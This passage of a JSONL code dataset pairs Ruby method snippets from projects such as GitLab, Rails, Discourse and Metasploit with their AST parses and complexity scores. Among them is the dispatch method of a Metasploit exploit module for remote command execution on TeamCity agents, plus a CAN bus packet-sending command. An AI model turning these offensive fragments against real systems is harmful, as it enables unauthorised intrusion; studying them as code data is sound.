3fd8-4f4d-81ab-0f11c2fec801"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/update_model_service.rb","start_line":5,"raw_source":"def initialize(model, description)\n      @model = model\n      @description = description\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@description\",{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}","id":"d48d91e3-bd7f-4afe-9755-6ff75387fa08"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/shared_example_group.rb","start_line":135,"raw_source":"def self.remove_globally!\n          return unless exposed_globally?\n\n          Core::DSL.change_global_dsl do\n            undef shared_examples\n            undef shared_context\n            undef shared_examples_for\n          end\n\n          @exposed_globally = false\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"remove_globally!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exposed_globally?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"DSL\"]},\"change_global_dsl\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"undef\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared_examples\"]}]},{\"type\":\"undef\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared_context\"]}]},{\"type\":\"undef\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared_examples_for\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exposed_globally\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"02bc87a0-0dc5-4128-8130-50f5c6b1c1a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/rich_text_editor_helpers.rb","start_line":35,"raw_source":"def upload_asset(fixture_name)\n    attach_file('content_editor_image', Rails.root.join('spec', 'fixtures', fixture_name), make_visible: true)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_asset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixture_name\"]}]},{\"type\":\"send\",\"children\":[null,\"attach_file\",{\"type\":\"str\",\"children\":[\"content_editor_image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\":\"str\",\"children\":[\"fixtures\"]},{\"type\":\"lvar\",\"children\":[\"fixture_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"make_visible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"153060e1-72bd-4db9-942d-959078718474"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/update_urban_airship_configuration.rb","start_line":4,"raw_source":"def self.run(params)\n        require \"plist\"\n\n        begin\n          path = File.expand_path(params[:plist_path])\n          plist = Plist.parse_xml(path)\n          plist['developmentAppKey'] = params[:development_app_key] unless params[:development_app_key].nil?\n          plist['developmentAppSecret'] = params[:development_app_secret] unless params[:development_app_secret].nil?\n          plist['productionAppKey'] = params[:production_app_key] unless params[:production_app_key].nil?\n          plist['productionAppSecret'] = params[:production_app_secret] unless params[:production_app_secret].nil?\n          plist['detectProvisioningMode'] = params[:detect_provisioning_mode] unless params[:detect_provisioning_mode].nil?\n          new_plist = plist.to_plist\n          File.write(path, new_plist)\n        rescue => ex\n          UI.error(ex)\n          UI.error(\"Unable to update Urban Airship configuration for plist file at '#{path}'\")\n        end\n      end","complexity_score":47.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"plist\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"plist_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plist\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plist\"]},\"parse_xml\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development_app_key\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"developmentAppKey\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development_app_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development_app_secret\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"developmentAppSecret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"development_app_secret\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"production_app_key\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"productionAppKey\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"production_app_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"production_app_secret\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"productionAppSecret\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"production_app_secret\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"detect_provisioning_mode\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"detectProvisioningMode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"detect_provisioning_mode\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_plist\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"to_plist\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"new_plist\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to update Urban Airship configuration for plist file at '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},null]}]}]}]}","id":"53de9f16-e025-4c25-b70f-a8658bf829cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb","start_line":129,"raw_source":"def cmd_cansend(*args)\n    bus = ''\n    id = ''\n    data = ''\n    cansend_opts = Rex::Parser::Arguments.new(\n      '-h' => [ false, 'Help Banner' ],\n      '-b' => [ true, 'Target bus'],\n      '-I' => [ true, 'CAN ID'],\n      '-D' => [ true, 'Data packet in Hex']\n    )\n    cansend_opts.parse(args) do |opt, _idx, val|\n      case opt\n      when '-h'\n        print_line(\"Usage: cansend -I <ID> -D <data>\\n\")\n        print_line(cansend_opts.usage)\n        return\n      when '-b'\n        bus = val\n      when '-I'\n        id = val\n      when '-D'\n        data = val\n      end\n    end\n    bus = self.active_bus if bus.blank? && !self.active_bus.nil?\n    unless client.automotive.is_valid_bus? bus\n      print_error(\"You must specify a valid bus via -b\")\n      return\n    end\n    if id.blank? || data.blank?\n      print_error(\"You must specify a CAN ID (-I) and the data packets (-D)\")\n      return\n    end\n    success = client.automotive.cansend(bus, id, data)\n    success\n  end","complexity_score":45.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_cansend\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bus\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cansend_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-b\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Target bus\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-I\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CAN ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-D\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Data packet in Hex\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cansend_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: cansend -I <ID> -D <data>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cansend_opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-b\"]},{\"type\":\"lvasgn\",\"children\":[\"bus\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-I\"]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-D\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bus\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"active_bus\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bus\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"active_bus\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"is_valid_bus?\",{\"type\":\"lvar\",\"children\":[\"bus\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"You must specify a valid bus via -b\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"blank?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"You must specify a CAN ID (-I) and the data packets (-D)\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"cansend\",{\"type\":\"lvar\",\"children\":[\"bus\"]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvar\",\"children\":[\"success\"]}]}]}","id":"c985a363-825c-40da-8651-dd8eec63a84d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":2097,"raw_source":"def password_reset_find_user(token, committing_change:)\n    @user =\n      if committing_change\n        EmailToken.confirm(token, scope: EmailToken.scopes[:password_reset])\n      else\n        EmailToken.confirmable(token, scope: EmailToken.scopes[:password_reset])&.user\n      end\n\n    if @user\n      server_session[\"password-#{token}\"] = @user.id\n    else\n      user_id = server_session[\"password-#{token}\"].to_i\n      @user = User.find(user_id) if user_id > 0\n    end\n\n    @error = I18n.t(\"password_reset.no_token\", base_url: Discourse.base_url) if !@user\n  end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"password_reset_find_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"kwarg\",\"children\":[\"committing_change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"committing_change\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"confirm\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"scopes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password_reset\"]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"confirmable\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"scopes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password_reset\"]}]}]}]}]},\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_session\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"password-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_session\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"password-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"!\"]},{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"password_reset.no_token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]}]}]}]},null]}]}]}","id":"16975fb2-3fa6-4780-bcc1-45b3bac36306"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_verifier.rb","start_line":373,"raw_source":"def digest_matches_data?(digest, data)\n        data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"digest_matches_data?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"digest\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digest\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"SecurityUtils\"]},\"secure_compare\",{\"type\":\"lvar\",\"children\":[\"digest\"]},{\"type\":\"send\",\"children\":[null,\"generate_digest\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}","id":"c642b01f-affd-46b5-9850-c158b05ef28d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/group_projects_finder.rb","start_line":46,"raw_source":"def execute\n    collection = super\n    limit(collection)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collection\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"limit\",{\"type\":\"lvar\",\"children\":[\"collection\"]}]}]}]}","id":"02aabc47-8578-417f-8b2a-0fa91793e220"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb","start_line":66,"raw_source":"def exploit\n    version = determine_version\n    if version.nil?\n      fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')\n    else\n      print_status(\"Found TeamCity Agent running build version #{version}\")\n    end\n\n    unless datastore['CMD'].blank?\n      print_status('Executing user supplied command')\n      execute_command(datastore['CMD'], version)\n      return\n    end\n\n    case target['Platform']\n    when 'linux'\n      linux_stager(version)\n    when 'win'\n      windows_stager(version)\n    else\n      fail_with(Failure::NoTarget, 'Unsupported target platform!')\n    end\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"determine_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Could not determine TeamCity Agent version\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found TeamCity Agent running build version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]},\"blank?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing user supplied command\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]},{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"send\",\"children\":[null,\"linux_stager\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"send\",\"children\":[null,\"windows_stager\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Unsupported target platform!\"]}]}]}]}]}","id":"b3bf78be-3088-4f92-af7a-b18602b45370"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/error_tracking_controller.rb","start_line":25,"raw_source":"def details\n    respond_to do |format|\n      format.html\n      format.json do\n        set_polling_interval\n        render_issue_detail_json\n      end\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_polling_interval\"]},{\"type\":\"send\",\"children\":[null,\"render_issue_detail_json\"]}]}]}]}]}]}","id":"99461ec5-af91-4972-acac-c9fa8eaf7d28"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":475,"raw_source":"def self.my_guid\n    @@my_guid_mutex.synchronize { @@my_guid ||= load_or_generate_guid }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"my_guid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@my_guid_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@my_guid\"]},{\"type\":\"send\",\"children\":[null,\"load_or_generate_guid\"]}]}]}]}","id":"c0d9635b-2426-4dab-bcb4-5f4cf5f90c6b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/xml_mini/xml_mini_engine_test.rb","start_line":36,"raw_source":"def test_file_from_xml\n      hash = Hash.from_xml(<<-eoxml)\n        <blog>\n          <logo type=\"file\" name=\"logo.png\" content_type=\"image/png\">\n          </logo>\n        </blog>\n      eoxml\n      assert hash.key?(\"blog\")\n      assert hash[\"blog\"].key?(\"logo\")\n\n      file = hash[\"blog\"][\"logo\"]\n      assert_equal \"logo.png\", file.original_filename\n      assert_equal \"image/png\", file.content_type\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_file_from_xml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_xml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        <blog>\\n\"]},{\"type\":\"str\",\"children\":[\"          <logo type=\\\"file\\\" name=\\\"logo.png\\\" content_type=\\\"image/png\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"          </logo>\\n\"]},{\"type\":\"str\",\"children\":[\"        </blog>\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"key?\",{\"type\":\"str\",\"children\":[\"blog\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"blog\"]}]},\"key?\",{\"type\":\"str\",\"children\":[\"logo\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"blog\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"logo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"logo.png\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"original_filename\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"image/png\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"content_type\"]}]}]}]}","id":"32af341b-8838-4b93-9c12-25cf9d2cbca4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/ping.rb","start_line":34,"raw_source":"def encode_stream_id\n            [stream_id].pack('C')\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_stream_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}","id":"3b46c0e1-d1c1-46d6-9cea-965bef51dc6a"}
